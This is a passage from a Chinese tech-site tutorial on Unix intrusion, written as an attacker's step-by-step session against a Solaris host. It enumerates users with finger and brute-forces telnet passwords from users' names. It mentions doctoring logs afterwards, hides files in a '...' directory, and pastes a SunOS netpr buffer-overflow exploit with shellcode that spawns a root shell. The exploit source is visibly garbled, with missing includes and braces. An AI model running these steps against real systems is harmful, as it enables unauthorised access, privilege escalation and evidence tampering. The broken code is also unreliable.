科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道主流Unix操作系统的安全检测和防范(2)

主流Unix操作系统的安全检测和防范(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

 这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。

作者:论坛整理 来源:zdnet网络安全 2008年2月17日

关键字: 安全检测 系统安全 unix

  • 评论
  • 分享微博
  • 分享邮件
 研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场! 

bash$Content$nbsp;finger @202.202.0.8 
[202.202.0.8 ] 
Login  Name      TTY Idle When Where 
daemon  ???               < . . . . > 
bin    ???               < . . . . > 
sys    ???               < . . . . > 
walter  Walter Wan   pts/0      202.202.0.114 
dennis  Dennis Lee   437       888wnet.net 
power   Power Xiong   0       202.202.0.10 
deal   H Wang     pts/2      202.202.0.11 
admin   ???              < . . . . > 
jessica Jessica Xiao  pts/0      202.202.0.9 
smith  Smith Liu    pts/0      202.202.0.13 
render  Render     pts/0      202.103.10.117 
ftp    ???              < . . . . > 

  好!我需要的Name出来了,赶快保存: 

bash$Content$nbsp;finger @202.202.0.8 >> /home/crossbow/name.lst 
bash$Content$nbsp;more /home/crossbow/name.lst 
[202.202.0.8 ] 
Login   Name    TTY  Idle When Where 
daemon   ???              < . . . . > 
bin    ???              < . . . . > 
sys    ???              < . . . . > 
walter  Walter Wan  pts/0        202.202.0.114 
dennis  Dennis Lee   437        888wnet.net 
power  Power Xiong  0         202.202.0.10 
deal   H Wang    pts/2       202.202.0.11 
admin   ???     pts/0       < . . . . > 
jessica  Jessica Xiao   pts/0       202.202.0.9 
smith   Smith Liu    pts/0       202.202.0.13 
render  Render Chen   0        202.103.10.117 
ftp    ???              < . . . . > 

由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。 
bash$Content$nbsp;got! -n wan 202.202.0.8 walter 
Attempting... 

  N分钟以后………… 

Failed! 
bash$Content$nbsp;

  见鬼!失败了一个,再试下一个: 

bash$Content$nbsp;got! -n lee 202.202.0.8 dennis 
Attempting... 
Failed! 
bash$Content$nbsp;

  再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来: 

bash$Content$nbsp;got! -n xiong 202.202.0.8 Power 
Attempting... 
Bingo!!! 
The password of user ’power’ is ’xiong99’! Good luck! 
bash$Content$nbsp;

  哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧! 

bash$Content$nbsp;telnet 202.202.0.8 
SunOS 5.6 
login:power 
password: 
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10 
Sun Microsystems Inc. SunOS 5.6 
You have mail. 

  进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人: 

$Content$nbsp;w 
13:07pm up 61 day(s), 3 users, ………… 
User tty login@ idle JCPU PCPU what 

root pts/0 11:49am tail -f syslog 
smith pts/5 12:13pmls -l *.c 
power pts/7 13:07pm w 

  乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节: 

$Content$nbsp;uname -a 
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10 

  在看看这个用户的环境设置: 

$Content$nbsp;set 
HOME=/export/home/power 
HZ=100 
IFS= 
LOGNAME=power 
MAIL=/var/mail/power 
MAILCHECK=600 
OPTIND=1 
PATH=/usr/bin: 
PS1=$Content$nbsp;
PS2=> 
SHELL=/bin/sh 
TERM=ansi 
TZ=China 

  再看看有没有gcc,没有这玩艺,那就……@#$%^&*! 

$Content$nbsp;gcc 
gcc: No input files. 

不错,编译器还“健在”,没被删掉。现在,我们就开始溢出吧!^_^ 
$Content$nbsp;cd 
$Content$nbsp;pwd 
$Content$nbsp;/export/home/power 
$Content$nbsp;mkdir ... 
$Content$nbsp;cd ... 
$Content$nbsp;vi ./.of.c 

file://Here is the C source code for overflow in SunOS. 
#include 
#include 
#include 
#include 
#include 

#define NOPNUM 4000 
#define ADRNUM 1200 
#define ALLIGN 3 

char shellcode[]= 
"\x20\xbf\xff\xff" /* bn,a */ 
"\x20\xbf\xff\xff" /* bn,a */ 
"\x7f\xff\xff\xff" /* call */ 
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
"\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */ 
"\x91\xd0\x20\x08" /* ta 8 */ 
"/bin/ksh"; 

char jump[]= 
"\x81\xc3\xe0\x08" /* jmp %o7+8 */ 
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */ 

static char nop[]="\x80\x1c\x40\x11"; 
main(int argc,char **argv) 

char buffer[10000],adr[4],*b,*envp[2]; 
int i; 
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n"); 
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n"); 
if(argc==1) 

printf("usage: %s lpserver\n",argv[0]); 
exit(-1); 

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000; 
envp[0]=&buffer[0]; 
envp[1]=0; 
b=&buffer[0]; 
sprintf(b,"xxx="); 
b+=4; 
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff; 
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0; 
b=&buffer[5000]; 
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0; 
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1], 
"-p",&buffer[5000],"/bin/sh",0,envp); 


  上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码,最后按:wq保存并退出vi。我们看看源代码是否生成了: 

$Content$nbsp;ls -al 

total 1330 
drw-rw-rw- 7 power user 1999 Jul 4 19:07 . 
drw-r--r-- 35 root root 1999 Jun 29 16:52 .. 
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c 

  Ok! 现在编译链接吧!^_^ 

$Content$nbsp;gcc -o .of .of.c 
.of.c:17: malformed floating constant 
.of.c:18: malformed floating constant 
.of.c:23: nondigits in number and not hexadecimal 
………… 
………… 
gcc:[$Content$nbsp;Error 2 $] 
$Content$nbsp;

???怎么出错了?!估计是有地方敲错了。只好先用gdb调试,再用vi来修改了,真麻烦!(略去调试过程)…………终于改完了,编译试一试: 
$Content$nbsp;gcc -o .of .of.c 
$Content$nbsp;

  幸好没出错。Run一下啰…………别慌!看看root还在不在: 

$Content$nbsp;w 
13:31pm up 61 day(s), 1 user, ………… 
User tty login@ idle JCPU PCPU what 

power pts/7 13:07pm w 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章